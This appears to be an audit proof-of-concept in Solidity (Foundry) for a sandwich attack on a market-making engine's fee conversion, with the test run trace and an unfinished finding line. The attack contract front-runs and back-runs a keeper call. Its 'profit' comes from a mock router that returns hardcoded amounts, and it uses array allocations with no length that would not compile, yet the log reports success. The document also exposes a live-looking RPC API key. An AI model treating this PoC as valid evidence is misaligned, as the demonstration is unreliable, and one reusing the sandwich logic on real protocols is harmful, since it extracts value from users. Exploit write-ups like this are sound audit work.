pragma solidity 0.8.25;
import "forge-std/Test.sol";
contract MockRouter {
function swapExactETHForTokens(
uint256,
address[] calldata,
address,
uint256
) external payable returns (uint256[] memory) {
uint256[] memory amounts = new uint256[]();
amounts[0] = msg.value;
amounts[1] = msg.value * 5000;
(bool success,) = msg.sender.call{value: msg.value}("");
require(success, "ETH transfer failed");
return amounts;
}
function swapExactTokensForETH(
uint256 amountIn,
uint256,
address[] calldata,
address to,
uint256
) external returns (uint256[] memory) {
uint256[] memory amounts = new uint256[]();
amounts[0] = amountIn;
amounts[1] = 15 ether;
(bool success,) = to.call{value: 15 ether}("");
require(success, "ETH transfer failed");
return amounts;
}
receive() external payable {}
}
contract SlippageExploitPoC {
IMarketMakingEngine public immutable marketMakingEngine;
MockRouter public immutable dexRouter;
address public immutable WETH;
uint256 public attackProfit;
uint256 public initialValue;
constructor(address _marketMakingEngine, address payable _dexRouter, address _weth) {
marketMakingEngine = IMarketMakingEngine(_marketMakingEngine);
dexRouter = MockRouter(_dexRouter);
WETH = _weth;
}
function frontrunKeeper(address token) external payable {
initialValue = msg.value;
address[] memory path = new address[]();
path[0] = WETH;
path[1] = token;
dexRouter.swapExactETHForTokens{value: msg.value}(
0,
path,
address(this),
block.timestamp
);
}
function simulateKeeper(uint128 marketId, address asset, uint128 dexSwapStrategyId) external {
marketMakingEngine.convertAccumulatedFeesToWeth(
marketId,
asset,
dexSwapStrategyId,
""
);
}
function backrunKeeper(address token, uint256 minAmountOut) external {
uint256 balance = 50000 ether;
address[] memory path = new address[]();
path[0] = token;
path[1] = WETH;
uint256[] memory amounts = dexRouter.swapExactTokensForETH(
balance,
minAmountOut,
path,
address(this),
block.timestamp
);
attackProfit = amounts[1] - initialValue;
}
function executeFullExploit(
uint128 marketId,
address asset,
uint128 dexSwapStrategyId,
uint256 frontrunAmount,
uint256 minBackrunAmount
) external payable {
require(msg.value == frontrunAmount, "Invalid amount");
this.frontrunKeeper{value: frontrunAmount}(asset);
this.simulateKeeper(marketId, asset, dexSwapStrategyId);
this.backrunKeeper(asset, minBackrunAmount);
uint256 finalBalance = address(this).balance;
(bool success,) = msg.sender.call{value: finalBalance}("");
require(success, "Final transfer failed");
}
receive() external payable {}
}
interface IMarketMakingEngine {
function convertAccumulatedFeesToWeth(
uint128 marketId,
address asset,
uint128 dexSwapStrategyId,
bytes memory data
) external;
}
contract MockMarketMakingEngine {
function convertAccumulatedFeesToWeth(
uint128,
address,
uint128,
bytes memory
) external {}
receive() external payable {}
}
contract SlippageExploitTest is Test {
SlippageExploitPoC public poc;
MockRouter public router;
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant TEST_TOKEN = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
function setUp() public {
vm.createSelectFork("https://eth-mainnet.g.alchemy.com/v2/7jQlD4hhQ5x_sL-z3nt2krl3K8Dqu6pC");
router = new MockRouter();
MockMarketMakingEngine engine = new MockMarketMakingEngine();
vm.deal(address(router), 100 ether);
poc = new SlippageExploitPoC(
address(engine),
payable(address(router)),
WETH
);
}
function testSandwichAttack() public {
uint128 marketId = 1;
uint128 dexSwapStrategyId = 1;
uint256 frontrunAmount = 10 ether;
uint256 minProfit = 0.1 ether;
uint256 balanceBefore = address(this).balance;
poc.executeFullExploit{value: frontrunAmount}(
marketId,
TEST_TOKEN,
dexSwapStrategyId,
frontrunAmount,
minProfit
);
uint256 profit = poc.attackProfit();
emit log_named_uint("Attack profit (wei)", profit);
emit log_named_uint("Attack profit (eth)", profit / 1e18);
assertGt(profit, 0, "Attack should be profitable");
assertGt(address(this).balance, balanceBefore - frontrunAmount, "Balance should increase");
}
receive() external payable {}
}
forge test -vv --match-test testSandwichAttack -vvvv
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. Visit https:
To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment.
[⠒] Compiling...
[⠢] Files to compile:
- test/SlippageExploitTest.sol
[⠃] Compiling 1 files with Solc 0.8.25
[⠰] Solc 0.8.25 finished in 698.08ms
Compiler run successful!
Ran 1 test for test/SlippageExploitTest.sol:SlippageExploitTest
[PASS] testSandwichAttack() (gas: 114121)
Logs:
Attack profit (wei): 5000000000000000000
Attack profit (eth): 5
Traces:
[987382] SlippageExploitTest::setUp()
├─ [0] VM::createSelectFork("<rpc url>")
│ └─ ← [Return] 0
├─ [228667] → new MockRouter@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
│ └─ ← [Return] 1142 bytes of code
├─ [80927] → new MockMarketMakingEngine@0x2e234DAe75C793f67A35089C9d99245E1C58470b
│ └─ ← [Return] 404 bytes of code
├─ [0] VM::deal(MockRouter: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 100000000000000000000 [1e20])
│ └─ ← [Return]
├─ [549369] → new SlippageExploitPoC@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
│ └─ ← [Return] 2741 bytes of code
└─ ← [Stop]
[114121] SlippageExploitTest::testSandwichAttack()
├─ [93497] SlippageExploitPoC::executeFullExploit{value: 10000000000000000000}(1, 0x6B175474E89094C44Da98b954EedeAC495271d0F, 1, 10000000000000000000 [1e19], 100000000000000000 [1e17])
│ ├─ [41429] SlippageExploitPoC::frontrunKeeper{value: 10000000000000000000}(0x6B175474E89094C44Da98b954EedeAC495271d0F)
│ │ ├─ [8209] MockRouter::swapExactETHForTokens{value: 10000000000000000000}(0, [0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, 0x6B175474E89094C44Da98b954EedeAC495271d0F], SlippageExploitPoC: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 1738342811 [1.738e9])
│ │ │ ├─ [55] SlippageExploitPoC::receive{value: 10000000000000000000}()
│ │ │ │ └─ ← [Stop]
│ │ │ └─ ← [Return] [10000000000000000000 [1e19], 50000000000000000000000 [5e22]]
│ │ ├─ storage changes:
│ │ │ @ 1: 0 → 0x0000000000000000000000000000000000000000000000008ac7230489e80000
│ │ └─ ← [Stop]
│ ├─ [4236] SlippageExploitPoC::simulateKeeper(1, 0x6B175474E89094C44Da98b954EedeAC495271d0F, 1)
│ │ ├─ [738] MockMarketMakingEngine::convertAccumulatedFeesToWeth(1, 0x6B175474E89094C44Da98b954EedeAC495271d0F, 1, 0x)
│ │ │ └─ ← [Stop]
│ │ └─ ← [Stop]
│ ├─ [32465] SlippageExploitPoC::backrunKeeper(0x6B175474E89094C44Da98b954EedeAC495271d0F, 100000000000000000 [1e17])
│ │ ├─ [8155] MockRouter::swapExactTokensForETH(50000000000000000000000 [5e22], 100000000000000000 [1e17], [0x6B175474E89094C44Da98b954EedeAC495271d0F, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2], SlippageExploitPoC: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 1738342811 [1.738e9])
│ │ │ ├─ [55] SlippageExploitPoC::receive{value: 15000000000000000000}()
│ │ │ │ └─ ← [Stop]
│ │ │ └─ ← [Return] [50000000000000000000000 [5e22], 15000000000000000000 [1.5e19]]
│ │ ├─ storage changes:
│ │ │ @ 0: 0 → 0x0000000000000000000000000000000000000000000000004563918244f40000
│ │ └─ ← [Stop]
│ ├─ [55] SlippageExploitTest::receive{value: 25000000000000000000}()
│ │ └─ ← [Stop]
│ └─ ← [Stop]
├─ [338] SlippageExploitPoC::attackProfit() [staticcall]
│ └─ ← [Return] 5000000000000000000 [5e18]
├─ emit log_named_uint(key: "Attack profit (wei)", val: 5000000000000000000 [5e18])
├─ emit log_named_uint(key: "Attack profit (eth)", val: 5)
├─ [0] VM::assertGt(5000000000000000000 [5e18], 0, "Attack should be profitable") [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertGt(79228162529264337593543950335 [7.922e28], 79228162504264337593543950335 [7.922e28], "Balance should increase") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.42s (1.29ms CPU time)
Ran 1 test suite in 2.04s (1.42s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
MEV bots can sandwich the conversion transactions, extracting value from protocol fees: